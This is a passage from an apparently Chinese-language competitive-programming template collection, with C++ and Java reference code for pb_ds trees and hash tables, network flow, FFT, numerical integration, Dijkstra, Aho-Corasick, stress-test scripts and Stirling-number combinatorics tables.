Node_Update:可以为空,也可以用pb_ds自带的tree_order_statistics_node_update,这样这个tree就会获得两个函数find_by_order和order_of_key
iterator find_by_order(size_type order) 找第order+1小的元素的迭代器,如果order太大会返回end()
size_type order_of_key(const_key_reference r_key) :询问这个tree中有多少比r_key小的元素
begin(),end(),size(),empty(),clear(),find(const Key),lower_bound(const Key),upper_bound(const Key),erase(iterator),erase(const Key),insert(const pair<> ),operator[]
如果想改成set,只需要将第二个参数Mapped改为null_type(在4.4.0及以下版本的编译器中应用null_mapped_type)就可以了。此时迭代器指向的类型会从pair变成Key,和set几乎没有区别。
当然还有一些其他用法,如:
void join(tree &other) 把other中所有元素移动到*this上(值域不能相交,否则抛出异常。
void split(const_key_reference r_key, tree &other) 清空other,然后把*this中所有大于r_key的元素移动到other。
*/
// 自定义node update求区间和
template < class Node_CItr , class Node_Itr , class Cmp_Fn , class _Alloc >
struct my_node_update {
virtual Node_CItr node_begin () const = 0;
virtual Node_CItr node_end () const = 0;
typedef int metadata_type ;
inline void operator ()( Node_Itr it , Node_CItr end_it ){
Node_Itr l = it. get_l_child (), r = it. get_r_child ();
int left = 0, right = 0;
if(l != end_it ) left = l. get_metadata ();
if(r != end_it ) right = r. get_metadata ();
const_cast < metadata_type &>( it. get_metadata ())
= left + right + (* it)-> second ;
}
inline int prefix_sum (int x) {
int ans = 0;
Node_CItr it = node_begin ();
while (it != node_end ()) {
Node_CItr l = it. get_l_child (), r = it. get_r_child ();
if( Cmp_Fn ()(x, (* it)-> first )) it = l;
else {
ans += (* it)-> second ;
if(l != node_end ()) ans += l. get_metadata ();
it = r;
}
}
return ans;
}
inline int interval_sum (int l, int r){
return prefix_sum (r) - prefix_sum (l - 1);
}
};
int main() {
__gnu_pbds::tree <int , int , std :: less <int >, __gnu_pbds::rb_tree_tag , my_node_update > T;
T [2] = 100; T [3] = 1000; T [4] = 10000;
printf ("%d\n", T. interval_sum (3, 4));
printf ("%d\n", T. prefix_sum (3));
}</code></pre>
<h3 id="hash_table">hash_table</h3>
<pre class="cpp"><code>#include <cstdio>
#include <ext/pb_ds/assoc_container.hpp>
#include <ext/pb_ds/hash_policy.hpp>
/*
__gnu_pbds::cc_hash_table<Key, Mapped> 拉链法
__gnu_pbds::gp_hash_table<Key, Mapped> 查探法
*/
__gnu_pbds::gp_hash_table<int, int> mp;
int main() {
mp[1] = 3;
mp[5] = 8;
printf("%d\n", mp[1]);
for(auto it=mp.begin(); it!=mp.end(); ++it) {
printf("%d %d\n", it->first, it->second);
}
return 0;
}</code></pre>
<h2 id="最小费用最大流">最小费用最大流</h2>
<p>最大费用取反。</p>
<pre class="cpp"><code>#include <cstdio>
#include <cstring>
#include <algorithm>
#include <cmath>
#include <queue>
#include <utility>
using namespace std;
const int MAXN = 1e5 + 10, MAXM = 1e6 + 10;
const int INF = 0x3f3f3f3f;
struct Edge {
int v, next, cap, flow, cost;
} e[MAXM];
int head[MAXN], coe;
int pre[MAXN], dis[MAXN];
bool vis[MAXN];
int N;
// 每次初始化,节点编号为0~n-1
void init(int n) {
N = n;
coe = 0;
memset(head, -1, sizeof head);
}
void addEdge(int u, int v, int cap, int cost) {
e[coe].v = v;
e[coe].cap = cap;
e[coe].cost = cost;
e[coe].flow = 0;
e[coe].next = head[u];
head[u] = coe++;
e[coe].v = u;
e[coe].cap = 0;
e[coe].cost = -cost;
e[coe].flow = 0;
e[coe].next = head[v];
head[v] = coe++;
}
bool spfa(int s, int t) {
queue<int> que;
memset(dis, INF, sizeof(int)*N);
memset(vis, 0, sizeof(bool)*N);
memset(pre, -1, sizeof(int)*N);
dis[s] = 0;
vis[s] = true;
que.push(s);
while (!que.empty()) {
int u = que.front();
que.pop();
vis[u] = false;
for (int i = head[u]; i != -1; i = e[i].next) {
int v = e[i].v;
if (e[i].cap > e[i].flow && dis[v] > dis[u] + e[i].cost) {
dis[v] = dis[u] + e[i].cost;
pre[v] = i;
if (!vis[v]) {
vis[v] = true;
que.push(v);
}
}
}
}
if (pre[t] == -1) return false;
else return true;
}
// first: 最大流 second: 最小费用
pair<int, int> minCostMaxflow(int s, int t) {
pair<int, int> ans;
while (spfa(s, t)) {
int Min = INF;
for (int i = pre[t]; i != -1; i = pre[e[i ^ 1].v]) {
if (Min > e[i].cap - e[i].flow)
Min = e[i].cap - e[i].flow;
}
for (int i = pre[t]; i != -1; i = pre[e[i ^ 1].v]) {
e[i].flow += Min;
e[i ^ 1].flow -= Min;
ans.second += e[i].cost * Min;
}
ans.first += Min;
}
return ans;
}
int dep[MAXN];
bool dinic_bfs(int source, int dest) {
memset(dep, -1, sizeof(int)*N);
dep[source] = 0;
queue<int> que;
que.push(source);
while (!que.empty()) {
int i = que.front();
que.pop();
for (int j = head[i]; j != -1; j = e[j].next) {
if (dep[e[j].v] < 0 && e[j].cap > e[j].flow) {
dep[e[j].v] = dep[i] + 1;
que.push(e[j].v);
}
}
}
return dep[dest] > 0;
}
inline int dinic_find(int x, int low, int source, int dest) {
if (low <= 0) return false;
if (x == dest) return low;
int cost = 0;
for (int i = head[x]; i != -1; i = e[i].next) {
if (e[i].cap > e[i].flow && dep[e[i].v] == dep[x] + 1) {
int a = dinic_find(e[i].v, min(low - cost, e[i].cap-e[i].flow), source, dest);
if (a > 0) {
cost += a;
e[i].flow += a;
e[i ^ 1].flow -= a;
if (cost >= low)
break;
}
else {
dep[e[i].v] = -1;
}
}
}
return cost;
}
int dinic(int source, int dest) {
int ans = 0;
while (dinic_bfs(source, dest)) {
int tans;
while (tans = dinic_find(source, INF, source, dest))
ans += tans;
}
return ans;
}</code></pre>
<h2 id="k维最远曼哈顿距离">k维最远曼哈顿距离</h2>
<p>枚举加减法,代码是两个点集之间的最远距离,一个点集只需要一个Min和Max。</p>
<pre class="cpp"><code>/// HDU 6435
#include <cstdio>
#include <algorithm>
using namespace std;
typedef long long LL;
const int MAXN = 1e5+10;
const LL INF = 0x3f3f3f3f3f3f3f3f;
int n,m,k;
LL a[MAXN][10], b[MAXN][10];
int main() {
int T;
scanf("%d", &T);
while(T--) {
scanf("%d%d%d", &n, &m, &k);
k++;
for(int i=0; i<n; i++) {
for(int j=0; j<k; j++) {
scanf("%lld", a[i]+j);
}
}
for(int i=0; i<m; i++) {
for(int j=0; j<k; j++) {
scanf("%lld", b[i]+j);
}
b[i][0] = -b[i][0];
}
LL ans = 0;
for(int s=0; s<(1<<k); s++) {
LL Mina=INF, Maxa=-INF, Minb=INF, Maxb=-INF;
for(int i=0; i<n; i++) {
LL t = 0;
for(int j=0; j<k; j++) {
if((1<<j)&s)
t+=a[i][j];
else
t-=a[i][j];
}
Mina = min(Mina, t);
Maxa = max(Maxa, t);
}
for(int i=0; i<m; i++) {
LL t = 0;
for(int j=0; j<k; j++) {
if((1<<j)&s)
t+=b[i][j];
else
t-=b[i][j];
}
Minb = min(Minb, t);
Maxb = max(Maxb, t);
}
#define max3(a,b,c) max(max(a,b),c)
ans = max3(ans, Maxa-Minb, Maxb-Mina);
}
printf("%lld\n", ans);
}
return 0;
}</code></pre>
<h2 id="java常用库">Java常用库</h2>
<pre class="java"><code>import java.io.*;
import java.math.*;
import java.util.*;
public class Main {
static Scanner in = new Scanner(System.in);
public static void main(String[] args) {
int a = in.nextInt();
BigInteger b = in.nextBigInteger();
BigDecimal c = in.nextBigDecimal();
/*
BigDecimal:
构造方法:
BigDecimal(BigInteger val)
BigDecimal(BigInteger unscaledVal, int scale)
BigDecimal(BigInteger unscaledVal, int scale, MathContext mc)
BigDecimal(BigInteger val, MathContext mc)
BigDecimal(char[] in)
BigDecimal(char[] in, int offset, int len)
BigDecimal(char[] in, int offset, int len, MathContext mc)
BigDecimal(char[] in, MathContext mc)
BigDecimal(double val)
BigDecimal(double val, MathContext mc)
BigDecimal(int val)
BigDecimal(int val, MathContext mc)
BigDecimal(long val)
BigDecimal(long val, MathContext mc)
BigDecimal(String val)
BigDecimal(String val, MathContext mc)
成员方法:
BigDecimal abs()
BigDecimal abs(MathContext mc)
BigDecimal add(BigDecimal augend)
BigDecimal add(BigDecimal augend, MathContext mc)
byte byteValueExact()
int compareTo(BigDecimal val)
BigDecimal divide(BigDecimal divisor)
BigDecimal divide(BigDecimal divisor, int roundingMode)
BigDecimal divide(BigDecimal divisor, int scale, int roundingMode)
BigDecimal divide(BigDecimal divisor, int scale, RoundingMode roundingMode)
BigDecimal divide(BigDecimal divisor, MathContext mc)
BigDecimal divide(BigDecimal divisor, RoundingMode roundingMode)
BigDecimal[] divideAndRemainder(BigDecimal divisor)
BigDecimal[] divideAndRemainder(BigDecimal divisor, MathContext mc)
BigDecimal divideToIntegralValue(BigDecimal divisor)
BigDecimal divideToIntegralValue(BigDecimal divisor, MathContext mc)
double doubleValue()
boolean equals(Object x)
float floatValue()
int hashCode()
int intValue()
int intValueExact()
long longValue()
long longValueExact()
BigDecimal max(BigDecimal val)
BigDecimal min(BigDecimal val)
BigDecimal movePointLeft(int n)
BigDecimal movePointRight(int n)
BigDecimal multiply(BigDecimal multiplicand)
BigDecimal multiply(BigDecimal multiplicand, MathContext mc)
BigDecimal negate()
BigDecimal negate(MathContext mc)
BigDecimal plus()
BigDecimal plus(MathContext mc)
BigDecimal pow(int n)
BigDecimal pow(int n, MathContext mc)
int precision()
BigDecimal remainder(BigDecimal divisor)
BigDecimal remainder(BigDecimal divisor, MathContext mc)
BigDecimal round(MathContext mc)
int scale()
BigDecimal scaleByPowerOfTen(int n)
BigDecimal setScale(int newScale)
Returns a BigDecimal whose scale is the specified value, and whose value is numerically equal to this BigDecimal's.
BigDecimal setScale(int newScale, int roundingMode)
BigDecimal setScale(int newScale, RoundingMode roundingMode)
Returns a BigDecimal whose scale is the specified value, and whose unscaled value is determined by multiplying or dividing this BigDecimal's unscaled value by the appropriate power of ten to maintain its overall value.
short shortValueExact()
int signum()
Returns the signum function of this BigDecimal. (1,0,-1)
BigDecimal stripTrailingZeros()
Returns a BigDecimal which is numerically equal to this one but with any trailing zeros removed from the representation.
BigDecimal subtract(BigDecimal subtrahend)
BigDecimal subtract(BigDecimal subtrahend, MathContext mc)
BigInteger toBigInteger()
BigInteger toBigIntegerExact()
String toEngineeringString()
String toPlainString()
String toString()
BigDecimal ulp()
Returns the size of an ulp, a unit in the last place, of this BigDecimal.
BigInteger unscaledValue()
static BigDecimal valueOf(double val)
static BigDecimal valueOf(long val)
static BigDecimal valueOf(long unscaledVal, int scale)
*/
BigDecimal test = new BigDecimal("1.234567");
test = test.setScale(3, RoundingMode.HALF_UP);
System.out.println(test);
test = test.setScale(7, RoundingMode.HALF_EVEN);
System.out.println(test);
test = test.divide(new BigDecimal("3"), MathContext.UNLIMITED); // 默认也是UNLIMITED精度,无限小数会报错
System.out.println(test);
/*
BigInteger:
构造方法:
BigInteger(byte[] val)
BigInteger(int signum, byte[] magnitude)
BigInteger(int bitLength, int certainty, Random rnd)
Constructs a randomly generated positive BigInteger that is probably prime, with the specified bitLength.
BigInteger(int numBits, Random rnd)
Constructs a randomly generated BigInteger, uniformly distributed over the range 0 to (2numBits - 1), inclusive.
BigInteger(String val)
BigInteger(String val, int radix)
成员方法:
BigInteger abs()
BigInteger add(BigInteger val)
BigInteger and(BigInteger val)
BigInteger andNot(BigInteger val)
Returns a BigInteger whose value is (this & ~val).
int bitCount()
Returns the number of bits in the two's complement representation of this BigInteger that differ from its sign bit.
int bitLength()
Returns the number of bits in the minimal two's-complement representation of this BigInteger, excluding a sign bit.
BigInteger clearBit(int n)
Returns a BigInteger whose value is equivalent to this BigInteger with the designated bit cleared.
int compareTo(BigInteger val)
BigInteger divide(BigInteger val)
BigInteger[] divideAndRemainder(BigInteger val)
double doubleValue()
boolean equals(Object x)
BigInteger flipBit(int n)
Returns a BigInteger whose value is equivalent to this BigInteger with the designated bit flipped.
float floatValue()
BigInteger gcd(BigInteger val)
Returns a BigInteger whose value is the greatest common divisor of abs(this) and abs(val).
int getLowestSetBit()
Returns the index of the rightmost (lowest-order) one bit in this BigInteger (the number of zero bits to the right of the rightmost one bit).
int hashCode()
int intValue()
boolean isProbablePrime(int certainty)
Returns true if this BigInteger is probably prime, false if it's definitely composite.
long longValue()
BigInteger max(BigInteger val)
BigInteger min(BigInteger val)
BigInteger mod(BigInteger m)
BigInteger modInverse(BigInteger m)
Returns a BigInteger whose value is (this^-1 mod m).
BigInteger modPow(BigInteger exponent, BigInteger m)
BigInteger multiply(BigInteger val)
BigInteger negate()
BigInteger nextProbablePrime()
Returns the first integer greater than this BigInteger that is probably prime.
BigInteger not()
BigInteger or(BigInteger val)
BigInteger pow(int exponent)
static BigInteger probablePrime(int bitLength, Random rnd)
Returns a positive BigInteger that is probably prime, with the specified bitLength.
BigInteger remainder(BigInteger val)
Returns a BigInteger whose value is (this % val).
BigInteger setBit(int n)
Returns a BigInteger whose value is equivalent to this BigInteger with the designated bit set.
BigInteger shiftLeft(int n)
Returns a BigInteger whose value is (this << n).
BigInteger shiftRight(int n)
Returns a BigInteger whose value is (this >> n).
int signum()
BigInteger subtract(BigInteger val)
boolean testBit(int n)
Returns true if and only if the designated bit is set.
byte[] toByteArray()
String toString()
String toString(int radix)
static BigInteger valueOf(long val)
BigInteger xor(BigInteger val)
*/
MyPair[] pairs = new MyPair[1000];
Arrays.sort(pairs);
Arrays.binarySearch(pairs, 1, 4, new MyPair());
/*
二分查找
如果元素在数组中,则值为0~n-1,否则值为-1~-(n+1),表示第一个比它大的值的位置,下标从1开始
*/
List<MyPair> pairList = new ArrayList<>();
pairList.add(new MyPair());
//pairList.sort();
pairList.sort(new Cmp());
Collections.shuffle(pairList);
Collections.swap(pairList, 1, 3);
Collections.sort(pairList);
}
}
class MyPair implements Comparable {
int x, y;
@Override
public int compareTo(Object o) {
MyPair b = (MyPair)o;
if(x!=b.x) return x<b.x?-1:1;
else if(y!=b.y) return y<b.y?-1:1;
return 0;
}
}
class Cmp implements Comparator<MyPair> {
@Override
public int compare(MyPair o1, MyPair o2) {
if(o1.x!=o2.x) return o1.x<o2.x?-1:1;
else if(o1.y!=o2.y) return o1.y<o2.y?-1:1;
return 0;
}
}</code></pre>
<h2 id="对拍">对拍</h2>
<h3 id="check.bat-windows-bat">check.bat (Windows BAT)</h3>
<pre class="bat"><code>@echo off
echo building rand...
g++ rand.cpp -O2 -std=c++14 -Wall -o rand.exe
echo building std...
g++ std.cpp -O2 -std=c++14 -Wall -o std.exe
echo building mine...
g++ mine.cpp -O2 -std=c++14 -Wall -o mine.exe
echo start checking...
:loop
rand.exe %random% > in.txt
std.exe < in.txt > stdout.txt
mine.exe < in.txt > mineout.txt
fc stdout.txt mineout.txt
if not errorlevel 1 goto loop
pause
goto loop</code></pre>
<h3 id="check.sh-linux-shell">check.sh (Linux shell)</h3>
<pre class="bash"><code>#!/bin/bash
set -e
echo building rand...
g++ rand.cpp -std=c++14 -O2 -Wall -o rand.o
echo building std...
g++ std.cpp -std=c++14 -O2 -Wall -o std.o
echo building mine...
g++ mine.cpp -std=c++14 -O2 -Wall -o mine.o
echo start checking...
while true; do
./rand.o $RANDOM > in.txt
./mine.o < in.txt > mineout.txt
./std.o < in.txt > stdout.txt
diff stdout.txt mineout.txt
echo OK
done</code></pre>
<h3 id="rand.cpp">rand.cpp</h3>
<pre class="cpp"><code>#include <cstdio>
#include <algorithm>
#include <cstring>
#include <cstdlib>
#include <random>
using namespace std;
default_random_engine e;
inline int randInt(int min, int max) {
return uniform_int_distribution<int>(min, max)(e);
}
int main(int argc, char const *argv[]) {
e.seed(strtoul(argv[1], nullptr, 0));
return 0;
}
/*
#include <cstdio>
#include <random>
#include <functional>
#include <chrono>
#include <cstdlib>
using namespace std;
long long seed1 = chrono::nanoseconds( chrono::system_clock::now().time_since_epoch() ).count();
default_random_engine e(seed1);
uniform_int_distribution<int> dis10(1, 10);
inline int randInt(int min, int max) {
unsigned temp = (rand() << 15 | rand()) << 2 | (rand() & 3);
return temp%(unsigned)(max-min+1)+min;
}
int main(int argc, char const *argv[]) {
srand(strtol(argv[1], nullptr, 0));
for(int i=0; i<10; i++) {
printf("%d\n", randInt(-1e9, 1e9));
}
return 0;
}
*/</code></pre>
<h2 id="fft">FFT</h2>
<p>快速傅里叶变换,计算<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>i</mi></msub><mo>=</mo><msub><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mi>j</mi><mo>+</mo><mi>k</mi></mrow></msub><mrow><msub><mi>A</mi><mi>j</mi></msub><mo>×</mo><msub><mi>B</mi><mi>k</mi></msub></mrow></mrow><annotation encoding="application/x-tex">C_i=\sum_{i=j + k}{A_j \times B_k}</annotation></semantics></math>,即普通的多项式相乘。</p>
<pre class="cpp"><code>#include <cstdio>
#include <algorithm>
#include <cstring>
#include <cmath>
#include <complex>
using namespace std;
typedef complex<double> Complex;
const double PI = acos(-1);
const int MAXN = (1<<20)+10;
int N; // 大于等于结果项数(n1+n2-1)的2的整次幂,init会赋值
Complex omega[MAXN], omegaInv[MAXN];
int n1, n2;
double a[MAXN], b[MAXN], c[MAXN];
void init(int n1, int n2) {
for(N=1; N<(n1+n2-1); N<<=1);
for(int i=0; i<N; i++) {
omega[i] = Complex(cos(2*PI*i/N), sin(2*PI*i/N));
omegaInv[i] = conj(omega[i]);
}
}
void dft(Complex a[], Complex ome[] = omega) {
for(int i=0,k=log2(N); i<N; i++) {
int t = 0;
for(int j=0; j<k; j++) {
if(i&(1<<j))
t|=1<<(k-j-1);
}
if(i<t) swap(a[i], a[t]);
}
for(int l=2; l<=N; l<<=1) {
int m = l>>1;
for(Complex* p=a; p<a+N; p+=l) {
for(int i=0; i<m; i++) {
Complex t = ome[N/l*i]*p[m+i];
p[m+i]=p[i]-t;
p[i]+=t;
}
}
}
}
void idft(Complex a[]) {
dft(a, omegaInv);
for(int i=0; i<N; i++)
a[i]/=N;
}
// 多项式相乘,f(x)=a[i]*x^i, g(x)=b[i]*x^i, i=0..n-1,n1, n2是项数
void multiply(const double a[], int n1, const double b[], int n2, double rst[]) {
static Complex ia[MAXN], ib[MAXN];
init(n1, n2);
copy(a, a+n1, ia);
fill(ia+n1, ia+N, Complex());
copy(b, b+n2, ib);
fill(ib+n2, ib+N, Complex());
dft(ia); dft(ib);
for(int i=0; i<N; i++)
ia[i]*=ib[i];
idft(ia);
for(int i=0; i<n1+n2-1; i++)
rst[i] = ia[i].real();
}
int main() {
while(scanf("%d%d", &n1, &n2)==2) {
for(int i=0; i<n1; i++) {
scanf("%lf", a+i);
}
for(int i=0; i<n2; i++) {
scanf("%lf", b+i);
}
multiply(a, n1, b, n2, c);
for(int i=0; i<n1+n2-1; i++) {
printf("%f%c", c[i], " \n"[i==n1+n2-2]);
}
}
return 0;
}</code></pre>
<h2 id="数值积分">数值积分</h2>
<pre class="cpp"><code>const double EPS = 1e-10;
double F(double x) {
return x*x*x+2*x*x+0.4*x+3.332;
}
// 阶数为4或5用科特斯公式
double cotes(double a, double b) {
double d=(a+b)/2, c=(a+d)/2, e=(d+b)/2;
return (7*F(a)+32*F(c)+12*F(d)+32*F(e)+7*F(b))*(b-a)/90;
}
// 阶数小于等于3用辛普森公式
double simpson(double a, double b) {
double c = (a+b)/2;
return (F(a)+4*F(c)+F(b))*(b-a)/6;
}
double asr(double a, double b, double eps, double A) {
double c = (a+b)/2;
double L = simpson(a, c), R = simpson(c, b);
//double L = cotes(a, c), R = cotes(c, b);
if(abs(L+R-A) <= 15*eps) return L+R+(L+R-A)/15;
return asr(a, c, eps/2, L) + asr(c, b, eps/2, R);
}
// 调用这个
double asr(double a, double b, double eps){
return asr(a, b, eps, simpson(a,b));
//return asr(a, b, eps, cotes(a,b));
}</code></pre>
<h2 id="dijkstrapb_ds">Dijkstra+pb_ds</h2>
<pre class="cpp"><code>/// 洛谷P4779
#include <cstdio>
#include <cstring>
#include <ext/pb_ds/priority_queue.hpp>
using namespace std;
typedef long long LL;
const int MAXN = 1e5+10, MAXM = 1e5+10;
const LL INF = 0x3f3f3f3f3f3f3f3f;
int n, m;
struct {
int v,next;
LL w;
} e[MAXM*2];
int head[MAXN], coe;
LL mincost[MAXN]; // dijkstra result
struct Dis {
int u;
LL d;
bool operator< (const Dis& b) const {
return b.d<d;
}
};
typedef __gnu_pbds::priority_queue<Dis> Heap;
inline void addEdge(int u, int v, LL w) {
e[coe] = {v,head[u],w};
head[u] = coe++;
}
void dijkstra(int source, int dest = -1) {
static Heap::point_iterator hit[MAXN];
//static bool vis[MAXN];
static bool hed[MAXN];
Heap que;
memset(mincost, 0x3f, sizeof mincost);
//memset(vis, 0, sizeof vis);
memset(hed, 0, sizeof hed);
mincost[source] = 0;
hit[source] = que.push({source, 0});
hed[source] = true;
while(!que.empty()) {
int u = que.top().u;
LL d = que.top().d;
if(u==dest) return;
que.pop();
hed[u] = false;
//vis[u] = true;
for(int i=head[u]; i!=-1; i=e[i].next) {
int v = e[i].v;
LL w = e[i].w;
//if(vis[v]) continue;
if(d+w<mincost[v]) {
mincost[v] = d+w;
if(hed[v])
que.modify(hit[v], {v, d+w});
else {
hit[v] = que.push({v, d+w});
hed[v] = true;
}
}
}
}
}
int main() {
int s;
while(scanf("%d%d%d", &n, &m, &s)==3) {
memset(head, -1, sizeof head);
coe = 0;
for(int i=0; i<m; i++) {
int a,b,c;
scanf("%d%d%d", &a, &b, &c);
addEdge(a,b,c);
}
dijkstra(s);
for(int i=1; i<=n; i++) {
printf("%lld%c", mincost[i], " \n"[i==n]);
}
}
return 0;
}</code></pre>
<h2 id="ac自动机">AC自动机</h2>
<pre class="cpp"><code>/// HDU 3065
#include <cstdio>
#include <cstring>
#include <algorithm>
#include <queue>
using namespace std;
const int MAXN = 50 * 1000 + 10;
int n;
char mode[1010][60];
char a[2000000 + 10];
int ans[1010];
struct Node {
int val;
int fail;
int next[26];
} node[MAXN];
int con;
void insertTrie(char str[], int id) {
int p = 0;
for (int i = 0; str[i]; i++) {
int ha = str[i] - 'A';
if (!node[p].next[ha]) {
node[p].next[ha] = con++;
}
p = node[p].next[ha];
}
node[p].val = id;
}
void makeFail() {
queue<int> que;
que.push(0);
while (!que.empty()) {
int p = que.front();
que.pop();
for (int i = 0; i<26; i++) {
if (!node[p].next[i]) continue;
if (p == 0) node[node[p].next[i]].fail = 0;
else {
int temp = node[p].fail;
while (temp) {
if (node[temp].next[i]) {
node[node[p].next[i]].fail = node[temp].next[i];
break;
}
temp = node[temp].fail;
}
if (!temp)
node[node[p].next[i]].fail = node[0].next[i];
}
que.push(node[p].next[i]);
}
}
}
void match(char str[]) {
int p = 0;
for (int i = 0; str[i]; i++) {
int ha = str[i] - 'A';
while (p && (!(ha >= 0 && ha<26) || !node[p].next[ha]))
p = node[p].fail;
if (ha >= 0 && ha<26 && node[p].next[ha])
p = node[p].next[ha];
int temp = p;
while (temp) {
if (node[temp].val)
ans[node[temp].val]++;
temp = node[temp].fail;
}
}
}
void print(int p) {
printf("%d:\n", p);
printf("val: %d\n", node[p].val);
printf("fail: %d\n", node[p].fail);
printf("edge:\n");
for (int i = 0; i < 26; i++) {
if (node[p].next[i]) {
printf("%c: %d\n", 'A'+i, node[p].next[i]);
}
}
printf("\n");
for (int i = 0; i < 26; i++) {
if (node[p].next[i]) {
print(node[p].next[i]);
}
}
}
int main() {
while (scanf("%d", &n) == 1) {
memset(ans, 0, sizeof ans);
memset(node, 0, sizeof node);
con = 1;
for (int i = 1; i <= n; i++) {
scanf("%s", mode[i]);
insertTrie(mode[i], i);
}
makeFail();
//print(0);
scanf("%s", a);
match(a);
for (int i = 1; i <= n; i++) {
if (ans[i]) {
printf("%s: %d\n", mode[i], ans[i]);
}
}
}
return 0;
}</code></pre>
<h2 id="球盒问题">球盒问题</h2>
<table>
<thead>
<tr class="header">
<th>n个球</th>
<th>m个盒</th>
<th>空盒</th>
<th>情况数(dp、S的含义见下方)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>相同</td>
<td>相同</td>
<td>允许</td>
<td><code>dp[n][m]</code></td>
</tr>
<tr class="even">
<td>相同</td>
<td>相同</td>
<td>不允许</td>
<td>n>=m时<code>dp[n-m][m]</code>,否则为0</td>
</tr>
<tr class="odd">
<td>相同</td>
<td>不同</td>
<td>允许</td>
<td><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><mrow><mi>n</mi><mo>+</mo><mi>m</mi><mo>−</mo><mn>1</mn></mrow><mrow><mi>m</mi><mo>−</mo><mn>1</mn></mrow></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><annotation encoding="application/x-tex">\binom{n+m-1}{m-1}</annotation></semantics></math></td>
</tr>
<tr class="even">
<td>相同</td>
<td>不同</td>
<td>不允许</td>
<td><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="true" form="prefix">(</mo><mfrac linethickness="0"><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><mrow><mi>m</mi><mo>−</mo><mn>1</mn></mrow></mfrac><mo stretchy="true" form="postfix">)</mo></mrow><annotation encoding="application/x-tex">\binom{n-1}{m-1}</annotation></semantics></math></td>
</tr>
<tr class="odd">
<td>不同</td>
<td>相同</td>
<td>允许</td>
<td><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mi>m</mi></msubsup><mrow><mi>S</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>,</mo><mi>i</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">\sum_{i=0}^{m}{S(n,i)}</annotation></semantics></math></td>
</tr>
<tr class="even">
<td>不同</td>
<td>相同</td>
<td>不允许</td>
<td><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>,</mo><mi>m</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">S(n,m)</annotation></semantics></math></td>
</tr>
<tr class="odd">
<td>不同</td>
<td>不同</td>
<td>允许</td>
<td><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msup><mi>m</mi><mi>n</mi></msup><annotation encoding="application/x-tex">m^n</annotation></semantics></math></td>
</tr>
<tr class="even">
<td>不同</td>
<td>不同</td>
<td>不允许</td>
<td><math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mi>!</mi><mo>×</mo><mi>S</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>n</mi><mo>,</mo><mi>m</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">m! \times S(n,m)</annotation></semantics></math></td>
</tr>
</tbody>
</table>
<h3 id="第二类斯特林数">第二类斯特林数</h3>
<p><a href="https://oeis.org/A008277">OEIS A008277</a></p>
<p><code>S[i][j]</code>的含义是,把大小为i的集合划分为j个非空子集合的方案数。</p>
<pre><code>S[i][i]=1, i>=0 // i个球放入i个盒子
S[i][j]=S[i-1][j]*j+S[i-1][j-1], i>=2, 1<=j<=i-1 // 前i-1个球在j个盒子中,第i个球随意放;或前i-1个球在j-1个盒子中,第i个球只能放在第j个盒子中
其余情况为0</code></pre>
<pre class="cpp"><code>LL S[MAXN][MAXN];
void init() {
for(int i=0; i<MAXN; i++) {
S[i][i] = 1;
}
for(int i=2; i<MAXN; i++) {
for(int j=1; j<i; j++) {
S[i][j]=S[i-1][j]*j+S[i-1][j-1];
}
}
}</code></pre>
<pre><code>1
1 1
1 3 1
1 7 6 1
1 15 25 10 1
1 31 90 65 15 1
1 63 301 350 140 21 1
1 127 966 1701 1050 266 28 1
1 255 3025 7770 6951 2646 462 36 1
1 511 9330 34105 42525 22827 5880 750 45 1
1 1023 28501 145750 246730 179487 63987 11880 1155 55 1</code></pre>
<h3 id="球盒均相同的dp方法">球、盒均相同的DP方法</h3>
<p><a href="https://oeis.org/A026820">OEIS A026820</a></p>
<p><code>dp[i][j]</code>的含义是,把非负整数i划分为j个非负整数之和的方案数。</p>
<pre><code>dp[0][i]=1, i>=0 // 0个球放在i个盒子中
dp[1][i]=1, i>=1 // 1个球放在i个盒子中
dp[i][1]=1, i>=0 // i个球放在1个盒子中
dp[i][j]=dp[i][j-1]+dp[i-j][j], i>=2, j<=i // i个球放在j-1个盒子中;或i-j个球放在j个盒子中,再给每个盒子里放一个球
dp[i][j]=dp[i][j-1], i>=2, j>i // i个球放在j-1个盒子中
其余情况为0</code></pre>
<pre class="cpp"><code>LL dp[MAXN][MAXN];
void init() {
for(int i=0; i<MAXN; i++)
dp[0][i] = 1;
for(int i=1; i<MAXN; i++)
dp[1][i] = 1;
for(int i=0; i<MAXN; i++)
dp[i][1] = 1;
for(int i=2; i<MAXN; i++) {
for(int j=2; j<MAXN; j++) {
dp[i][j] = dp[i][j-1];
if(i>j) dp[i][j] += dp[i-j][j];
}
}
}</code></pre>
<pre><code>1
1 2
1 2 3
1 3 4 5
1 3 5 6 7
1 4 7 9 10 11
1 4 8 11 13 14 15
1 5 10 15 18 20 21 22
1 5 12 18 23 26 28 29 30
1 6 14 23 30 35 38 40 41 42
1 6 16 27 37 44 49 52 54 55 56
1 7 19 34 47 58 65 70 73 75 76 77</code></pre>
<h2 id="第一类斯特林数">第一类斯特林数</h2>
<p><code>S[i][j]</code>的含义是,把i个物品排成j个非空循环排列的方案数。</p>
<pre><code>S[0][0]=1
S[i][j]=(i-1)*S[i-1][j]+S[i-1][j-1], i>=1, j>=1
其余为0</code></pre>
